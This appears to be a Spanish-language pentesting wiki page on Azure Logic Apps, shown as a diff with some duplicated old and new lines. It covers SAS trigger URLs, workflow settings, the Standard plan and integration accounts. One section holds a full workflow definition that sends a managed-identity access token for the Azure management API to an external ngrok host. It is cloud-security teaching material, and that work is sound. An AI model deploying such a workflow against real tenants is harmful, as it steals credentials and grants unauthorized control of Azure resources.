### Claves de Acceso
La URL para invocarlo con la Clave de Acceso:
Los flujos de trabajo **generan 2 claves de acceso** cuando se crean. Estas claves se utilizan para autenticar y autorizar solicitudes al flujo de trabajo. Las claves se utilizan para generar un token de Firma de Acceso Compartido (SAS), que se incluye en la URL de la solicitud.
Así, cuando se crea un disparador de punto final HTTP, se genera un **punto final HTTP único con una firma SAS** que otorga permiso para llamar al flujo de trabajo.
Estas **claves pueden ser regeneradas** y se creará una nueva URL SAS para estos disparadores, pero los **valores de las claves no pueden ser accedidos**.
Ejemplo de una URL SAS para invocar un disparador:
```
https://<region>.logic.azure.com:443/workflows/<workflow-id>/triggers/<trigger-name>/paths/invoke?api-version=<api-version>&sp=%2Ftriggers%2F<trigger-name>%2Frun&sv=<version>&sig=<signature>
```
### Configuración y Componentes del Flujo de Trabajo
- **Opción de acceso al desencadenador**: Esta configuración te permite restringir quién puede desencadenar o iniciar tu flujo de trabajo. Las opciones son Cualquier IP, Solo otro flujo de trabajo y Rangos de IP específicos.
- **Cuenta de integración**: Vincula tu flujo de trabajo a una Cuenta de Integración.
- **Alto rendimiento**: Si está activado, permite manejar más solicitudes en paralelo rápidamente.
- **Retención del historial de ejecuciones**: Esto indica el número de días para mantener el historial de ejecuciones.
- **Conexiones API**: Esto muestra las diferentes conexiones API que tiene el flujo de trabajo. Dentro de cada una de estas conexiones tienen diferentes propiedades y la posibilidad de editar la conexión API donde se puede cambiar el tipo de Autenticación.
- **Historial**: Tiene la opción de acceder al **historial** de ejecuciones antiguas y obtener datos: Configuraciones, Salida, Parámetros y el Código.
- **Versiones**: Tiene la opción de acceder a diferentes **versiones** del flujo de trabajo, donde puedes revisar el código y cambiar el flujo de trabajo presente por una versión anterior de este.
- **Identidades Administradas**: Es posible asignar 1 identidad administrada del sistema y una identidad administrada por el usuario al flujo de trabajo.
### Filtrar tokens de acceso MI
La acción HTTP en un flujo de trabajo puede ser utilizada para enviar datos a una web externa. En los **Parámetros avanzados** de la acción HTTP, es posible configurar el **Tipo de Autenticación** como **`Identidad administrada`** y luego seleccionar la **Identidad Administrada asignada** para usar (sistema o usuario).
Además, es posible indicar en la **`Audiencia`** la audiencia del JWT generado, que podría ser por ejemplo **`https://management.azure.com/`** para poder usar el token generado para acceder a la API de gestión de Azure.
> [!WARNING]
> Hacer que la acción envíe la solicitud HTTP a un servidor controlado por un atacante puede **filtrar el token de acceso de la identidad administrada** asignada al flujo de trabajo.
> [!TIP]
> Un atacante también podría usar otro tipo de acciones para **acceder directamente a otros servicios de Azure** y realizar acciones con los permisos de la identidad administrada.
Este es el código de un flujo de trabajo que expone un endpoint HTTP y luego utiliza una acción HTTP para filtrar el token de acceso a la URL configurada (ngrok en este caso):
<details>
<summary>Código del flujo de trabajo</summary>
```json
{
"definition": {
"$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
"contentVersion": "1.0.0.0",
"triggers": {
"When_a_HTTP_request_is_received": {
"type": "Request",
"kind": "Http"
}
},
"actions": {
"HTTP": {
"runAfter": {},
"type": "Http",
"inputs": {
"uri": "https://22b6-81-33-70-107.ngrok-free.app",
"method": "GET",
"authentication": {
"type": "ManagedServiceIdentity",
"audience": "https://management.azure.com/"
}
},
"runtimeConfiguration": {
"contentTransfer": {
"transferMode": "Chunked"
}
}
}
},
"outputs": {},
"parameters": {
"$connections": {
"type": "Object",
"defaultValue": {}
}
}
},
"parameters": {
"$connections": {
"type": "Object",
"value": {}
}
}
}
```
</details>
## Logic Apps / Plan Estándar
### Diferencias con los Flujos de Trabajo "Únicos"
Las logic apps utilizan básicamente un App Service en segundo plano para **albergar la logic app que puede albergar varios flujos de trabajo**. Esto significa que la logic app tendrá todas las características de un App Service y de los Flujos de Trabajo "Únicos".
Algunas características clave serían:
- **Plan de App Service**: Las Logic Apps en el plan Estándar se alojan en un Plan de App Service, por lo que es posible utilizar todas las características del App Service, como:
- **Restricciones de Red**: Indicar desde dónde es accesible.
- **Centro de Despliegue**: Desplegar desde plataformas externas como Github, Bitbucket, Azure Repos, Git Externo y Git Local.
- **Acceso FTP**: Es posible acceder a los archivos de la Logic App a través de FTP.
- **Cuenta de Almacenamiento**: La aplicación de servicio utiliza una cuenta de almacenamiento para almacenar información.
- **Variables de Entorno y Configuraciones de la App**: Es posible configurar variables de entorno y configuraciones de la app (y encontrar información sensible como claves de acceso a la cuenta de almacenamiento).
- ...
- **Parámetros**: Los parámetros te permiten gestionar valores que varían entre desarrollo, prueba y producción. Esto te permite diseñar flujos de trabajo primero y luego ajustar fácilmente las configuraciones específicas del entorno más tarde.
- **Recursos Dedicados**: Las Logic Apps en el plan Estándar tienen recursos dedicados.
- **Múltiples Flujos de Trabajo**: Permite crear múltiples flujos de trabajo.
Para más información sobre App Services, consulta:
{{#ref}}
../az-services/az-app-services.md
{{#endref}}
### Enumeración
@@ -203,17 +279,17 @@ Get-AzLogicAppTriggerHistory -ResourceGroupName "<ResourceGroupName>" -Name "<Lo
{{#endtab }}
{{#endtabs }}
### Cuentas de Integración
## Cuentas de Integración
**Cuentas de Integración**, son una característica de Azure Logic Apps. Las Cuentas de Integración se utilizan para facilitar integraciones a nivel empresarial al habilitar capacidades avanzadas de B2B, como EDI, AS2 y gestión de esquemas XML. Las Cuentas de Integración son un contenedor en Azure que almacena los siguientes artefactos utilizados para Logic Apps:
* Esquemas: Gestionar esquemas XML para validar y procesar mensajes en su cuenta de integración.
* Mapas: Configurar transformaciones basadas en XSLT para convertir formatos de datos dentro de sus flujos de trabajo de integración.
* Ensamblajes: Gestionar ensamblajes de cuentas de integración para optimizar la lógica y el procesamiento de datos.
* Certificados: Manejar certificados para cifrar y firmar mensajes, asegurando una comunicación segura.
* Socios: Gestionar información de socios comerciales para transacciones B2B, permitiendo integraciones sin problemas.
* Acuerdos: Configurar reglas y ajustes para intercambiar datos con socios comerciales (por ejemplo, EDI, AS2).
* Configuraciones por Lotes: Gestionar configuraciones de procesamiento por lotes para agrupar y procesar mensajes de manera eficiente.
* RosettaNet PIP: Configurar Procesos de Interfaz de Socios de RosettaNet (PIPs) para estandarizar la comunicación B2B.
* **Esquemas**: Gestionar esquemas XML para validar y procesar mensajes en su cuenta de integración.
* **Mapas**: Configurar transformaciones basadas en XSLT para convertir formatos de datos dentro de sus flujos de trabajo de integración.
* **Ensamblajes**: Gestionar ensamblajes de la cuenta de integración para optimizar la lógica y el procesamiento de datos.
* **Certificados**: Manejar certificados para cifrar y firmar mensajes, asegurando una comunicación segura.
* **Socios**: Gestionar información de socios comerciales para transacciones B2B, permitiendo integraciones sin problemas.
* **Acuerdos**: Configurar reglas y ajustes para intercambiar datos con socios comerciales (por ejemplo, EDI, AS2).
* **Configuraciones de Lote**: Gestionar configuraciones de procesamiento por lotes para agrupar y procesar mensajes de manera eficiente.
* **RosettaNet PIP**: Configurar Procesos de Interfaz de Socios de RosettaNet (PIPs) para estandarizar la comunicación B2B.
#### Enumeración
@@ -329,4 +405,10 @@ Lo mismo que la escalación de privilegios de las aplicaciones lógicas:
../az-post-exploitation/az-logic-apps-post-exploitation.md
{{#endref}}
## Persistencia
{{#ref}}
../az-persistence/az-logic-apps-persistence.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}